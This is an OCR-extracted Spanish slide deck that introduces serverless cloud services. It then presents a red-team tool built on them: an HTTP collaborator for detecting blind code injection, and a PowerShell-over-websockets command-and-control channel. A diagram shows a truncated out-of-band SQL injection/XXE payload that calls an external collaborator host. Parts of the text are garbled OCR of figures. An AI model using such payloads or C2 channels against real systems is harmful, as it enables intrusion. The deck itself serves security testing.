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Introduccion
¢ Queé es latecnologia Serverless?

Si traducimos la palabra Serverless es “sin
servidor’” pero no es la idea exacta de
esta tecnologia, existe realmente un
servidor que vamos a usar para nuestros
proyectos pero simplemente  nos
olvidamos de gestionar las herramientas
necesarias. Es decir, vamos a ejecutar
aplicaciones en contenedores que estan
en servidores cloud, pero solamente
funcionaran y estaran disponible mientras
ejecutemos nuestras aplicaciones.
Después de su uso estos contenedores
se liberan y no tendremos que
preocuparnos de seguir manteniéndolos.
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Introduccidn
Que tecnologia Serverless tenemos

AWS Lambda

Es el mas conocido y usado del mercado.
Entre las aplicaciones que puede usar
estan Python, Go, Java, C# o Node.js.

Azure Functions .
Estd desarrollado por Microsoft desde | ()
hace dos afos y puedes utilizar con él
aplicaciones como Bash, Powershell, | AWS Lambda Azure Functions Google Functions

Java, Python, C#, F#, PHP o Batch.

Google Cloud Functions

Lo puedes encontrar en la plataforma de
Google y solo se puede usar con el
codigo Javascript para ejecutarse en un
entorno Node.js.




Introduccidon

Ventajas de usar la tecnologia Serverless

Este tipo de tecnologia tiene 4 ventajas que Servers Serverless
vamos a ver a continuacion:

- Escalabilidad
-  Mantenimiento

- Costes

- Integracion

« Cloud provider uptinme
» Clood load balanoers
nL




Introduccidn

Ventajas de usar la tecnologia Serverless

Escalabilidad

En esta parte solo nos tenemos que
preocupar de lanzar nuestra aplicacion ya
qgue los recursos dentro de la tecnologia
serverless se adapta a lo que estemos
ejecutando en ese momento, aungque
también podemos afadir clusters o
balanceadores a nuestra api Gateway
para adaptarlos a la necesidad de la
aplicacion gue se esta ejecutando.

Como vemos en el ejemplo se puede
escalar horizontalmente segun su uso.
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Introduccion
Ventajas de usar la tecnologia Serverless

Mantenimiento

No se tiene que hacer mantenimiento del
servidor ya que no dispones de esa
gestion, simplemente te ofrecen un
entorno para usar una tecnologia o
lenguaje de programacion en el que vas a
ejecutar tu aplicacion.

No hace falta instalar ningun software,
actualizarlo o gestionar configuraciones
de redes ya todo se encarga el proveedor
de serverless por ti.
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Introduccion
Ventajas de usar la tecnologia Serverless

Costes

) ) ) Monthly cost by number of requests per second
Al no disponer de servidores propios Yy y y g b

simplemente va a hacer ejecucion de
codigo temporalmente en un contenedor 2

gue cuando acaba el proceso
desaparece. 1008
,—/"f

Es por ello que solo haces un pago por el
uso que le des a esa computacion, y no
tener un servidor disponible para ti las 24
horas, con mucho mayor coste
obviamente.
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Introduccion
Ventajas de usar la tecnologia Serverless

Integracion

Este tipo de servicio no solo te ofrece

computacion, también tienes integracion = 0w 5

con otros servicios de tu proveedor o -

incluso con otras API o sistemas. F“"’CF‘E"fE“”““‘ |

o O @B
Todo ello esta integrado de una manera facil §HemmsetWuﬂgmmmmissm:; T AN

en la que la mayoria de veces solo tienes Conpte! POSTkneccimagecomplance ¢ Wemmook Fon
gue afadirlo en el servicio serverless y 6] |

rellenar algunos campos de configuracion. anorzes

kubectl apply -f deploy/mydeployment.yaml
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Como |lo vamos a usar

)

Serverless/Faa$S Architecture
AWS

Amazone AP| Gateway
Amazone s3

Bucket
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Amazone
Dynamo DB
m

I 1| Amazone

AWS Lambda ; Klnesis




Como accedemos a latecnologia
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Serverless Red Team Tools
La herramienta para ejercicios de Red Team en entornos Cloud

Os vamos a presentar como usando la
tecnologia anteriormente descrita nos va
a facilitar el proceso de deteccion de
vulnerabilidades en sistemas 0 apps O
también crear un sistema de conexion de S RTT |
Command & Control que nos permitira O O S
comprobar la seguridad en
infraestructuras o sistemas criticos.

La herramienta que presentamos tiene 2
principales uso:

- Collaborator HTTP
- C2 (Command & Control)




Serverless Red Team
Collaborator HTTP

En el caso de tener la necesidad de
comprobar si algin sistema tiene una
inyeccion de codigo y nos permite la
ejecucion de comandos o solicitar un
recurso por HTTP, en el que algunos
casos No conocemos si esta inyeccion se
esta ejecutando con éxito.

Es por ello que hemos creado una
herramienta que podemos integrar con un
proxy web y nos permite recibir la
informacion si esta inyeccion de codigo se
ha realizado con éxito.

Para este funcionamiento nos hemos
basado en la herramienta de PortSwigger
como es Burp Collaborator.
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Tools

5

Burp Suite Target

?param=... select extractvalue(
xmitype('<?xml version="1.0" 7>
<IDOCTYPE root [ <IENTITY % remote
SYSTEM "http://f294gchg2la...

llaborator.net/™s ..

_

Burp Collaborator

Wraafburpco

> GET http://f294gchg2la...

..r9gf.burpcollaborator.net/ .

Did you receive an interaction for my payload?

Yes

Report “super-blind SQL injection”




Demo Collaborator
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Serverless Red Team Tools
C2

En este caso hemos creado una
herramienta en el que se ejecuta un Command & Control
cliente en PowerShell en el sistema o
infraestructura a realizar la prueba para
establecer una comunicacibn con la

tecn0|ogla Serverless Change channel ' ‘ Forward Command
_—— _—

Changes Channel

Todo ello va a través de una navegacion por
websockets y en el que ademas podemos

establecer un proxy en el que comprobar e g

las redes del servidor en el que se han command/ swri tchon commandy/swi tchon.
. command/swi tchoff command/ swi tchoff

eStableCIdOS |aS pruebas. command/volumeup command/volumeup

command/volumeDown command/volumeDown




Demo C2

centro criptolégico nacional







